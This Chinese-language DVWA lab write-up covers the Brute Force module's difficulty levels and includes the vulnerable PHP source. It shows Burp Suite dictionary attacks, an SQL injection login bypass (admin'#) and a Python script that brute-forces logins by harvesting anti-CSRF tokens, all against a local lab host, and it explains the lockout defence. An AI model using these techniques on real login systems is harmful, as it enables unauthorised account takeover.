Brute Force 简介

Brute Force,即暴力(破解),是指攻击者利用密码字典,或使用穷举法猜解出用户口令,是最为广泛使用的攻击手法之一


Low

分析

就给了一个用户登录框,假设账户名已知,为 admin,但不知道其密码,随便输个 123,显示用户名或密码错误

Brute-Force

上 burpsuite,密码再输个 123,提交并抓包,右键 -> Send to Intruder

Brute-Force

切换到 Intruder -> Position 选项卡,并点击右边的 Clear,将其默认设置的一堆变量清除掉(就是那一堆橙色的)

Brute-Force

然后拖选中要爆破的地方,点击 Add

Brute-Force

切到 Payloads 子选项卡,在 Payload Options 里点击 Load 添加爆破用的字典

Brute-Force

添加完成后,选择菜单栏中的 Intruder -> Start attack,等待其将字典中的值都尝试一遍

Brute-Force

下方可以看到进度

Brute-Force

爆破完成后,点击 Length 字段,使其按照 升序/降序 来对 payload 进行排列

这里的 Length 为响应报文的长度,因为登录成功和失败返回的页面是不一样的,所以响应报文的长度也不一样,只要找出长度与众不同的那个,即为 admin 用户的密码

这里对 Length 进行降序排列,第一个长度为 5327,且响应报文中有欢迎字样,所以 password 为 admin的密码

Brute-Force

再拿去 DVWA 的页面中登录,显示登录成功

Brute-Force


源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// vulnerabilities/brute/source/low.php

<?php

if( isset( $_GET[ 'Login' ] ) ) {
// Get username
$user = $_GET[ 'username' ];

// Get password
$pass = $_GET[ 'password' ];
$pass = md5( $pass );

// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

if( $result && mysql_num_rows( $result ) == 1 ) {
// Get users details
$avatar = mysql_result( $result, 0, "avatar" );

// Login successful
$html .= "<p>Welcome to the password protected area {$user}</p>";
$html .= "<img src=\"{$avatar}\" />";
}
else {
// Login failed
$html .= "<pre><br />Username and/or password incorrect.</pre>";
}

mysql_close();
}

?>

流程大概就是拿用户名和 md5 加密后的密码去数据库里查询,查到结果,且结果条数为 1 就返回登录成功

但是仔细观察这条 SQL 语句,是不是发现有 SQL 注入的机会呢

1
$query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";

因为我们输入的 $pass 被 md5 加密了,所以这个变量不是注入点,​$user 才是注入点,构造 $user = admin’#

这条 SQL 语句就会变为

1
$query  = "SELECT * FROM `users` WHERE user = 'admin'#' AND password = '$pass';";

后面的 password 就被注释掉了,此时拿去数据库里查询,能查到 admin 这个人,而且只有一条记录的 user 字段值为 admin,于是后面的控制条件也能满足,那是不是就绕过登录了呢

拿去网页上试一试,果不其然

Brute-Force


Medium

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
// vulnerabilities/brute/source/medium.php

<?php

if( isset( $_GET[ 'Login' ] ) ) {
// Sanitise username input
$user = $_GET[ 'username' ];
$user = mysql_real_escape_string( $user );

// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = mysql_real_escape_string( $pass );
$pass = md5( $pass );

// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

if( $result && mysql_num_rows( $result ) == 1 ) {
// Get users details
$avatar = mysql_result( $result, 0, "avatar" );

// Login successful
$html .= "<p>Welcome to the password protected area {$user}</p>";
$html .= "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( 2 );
$html .= "<pre><br />Username and/or password incorrect.</pre>";
}

mysql_close();
}

?>

medium 对输入都用 mysql_real_escape_string 做了处理,SQL注入失效,但仍可以用 burpsuite 爆破,就是会慢一些,因为每次尝试失败都会 sleep 两秒


High

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
// vulnerabilities/brute/source/high.php

<?php

if( isset( $_GET[ 'Login' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Sanitise username input
$user = $_GET[ 'username' ];
$user = stripslashes( $user );
$user = mysql_real_escape_string( $user );

// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = stripslashes( $pass );
$pass = mysql_real_escape_string( $pass );
$pass = md5( $pass );

// Check database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

if( $result && mysql_num_rows( $result ) == 1 ) {
// Get users details
$avatar = mysql_result( $result, 0, "avatar" );

// Login successful
$html .= "<p>Welcome to the password protected area {$user}</p>";
$html .= "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( rand( 0, 3 ) );
$html .= "<pre><br />Username and/or password incorrect.</pre>";
}

mysql_close();
}

// Generate Anti-CSRF token
generateSessionToken();

?>

High 在 Medium 的基础上增加了 token 机制,在页面中的 hidden 域里

Brute-Force

每次都会生成新的 token,并且提交时要携带 token 参数并与服务器上的 token 进行对比,防止了无脑爆破,这里可以继续使用 burpsuite 来匹配 token,详细的步骤在 链接 里,我也尝试用 python 写了一个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# coding = utf-8
import requests

def access_once(password): # 请求一次
p["password"] = password
r = requests.get(url=u, headers=h, params=p)
if flag in r.text: # 判断是否登录成功
print("[+] Password Found: %s" % password)
exit()
elif "Vulnerability: Brute Force" not in r.text: # 判断是否因为token错误返回登录页面
print("Not in the target page, plz reset the initial token")
exit()
else:
print("Testing: %s" % password)
offset = r.text.find("user_token")
next_token = r.text[offset+19:offset+51] # 获取下一个token
p["user_token"] = next_token

def brute_force(dic_path):
pws = open("test.txt").read().split('\n')
for pw in pws:
if pw != '':
access_once(pw)


if __name__ == '__main__':
u = "http://192.168.249.129/dvwa/vulnerabilities/brute/" # url路径
p = {"username":"admin", "password":"123", "Login":"Login"} # GET传参
h = {"Cookie":"PHPSESSID=crc8f16n12orl898p045cdtvg7; security=high"} #cookie信息

flag = "Welcome to the password protected area admin" # 判断是否登录成功的字符串
p["user_token"] = "310efbd56d1e4f90f8f4fdfacae910b8" # 初始token, 需要手动获取
dictionary = "test.txt" # 字典路径
brute_force(dictionary)

获取初始 token 的方法是在浏览器页面空白处 右键->查看页面源代码,找到形似如下代码的隐藏域,value 的值即为 token

1
<input type='hidden' name='user_token' value='310efbd56d1e4f90f8f4fdfacae910b8' />

效果如下:

Brute-Force


Impossible

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
// vulnerabilities/brute/source/impossible.php
// 仅展示一些关键代码

// Default values
$total_failed_login = 3;
$lockout_time = 15;
$account_locked = false;

// Check the database (Check user information)
$data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
$row = $data->fetch();

// Check to see if the user has been locked out.
if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) ) {
// Calculate when the user would be allowed to login again
$last_login = $row[ 'last_login' ];
$last_login = strtotime( $last_login );
$timeout = strtotime( "{$last_login} +{$lockout_time} minutes" );
$timenow = strtotime( "now" );

// Check to see if enough time has passed, if it hasn't locked the account
if( $timenow > $timeout )
$account_locked = true;
}

// Check the database (if username matches the password)
$data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR);
$data->bindParam( ':password', $pass, PDO::PARAM_STR );
$data->execute();
$row = $data->fetch();

// Had the account been locked out since last login?
if( $failed_login >= $total_failed_login ) {
$html .= "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>";
$html .= "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>${last_login}</em>.</p>";
}

// Update bad login count
$data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();

可以看到,这里为用户设置了最多登录尝试次数,以及账户锁定的机制,在很大程度上限制了暴力枚举的攻击方式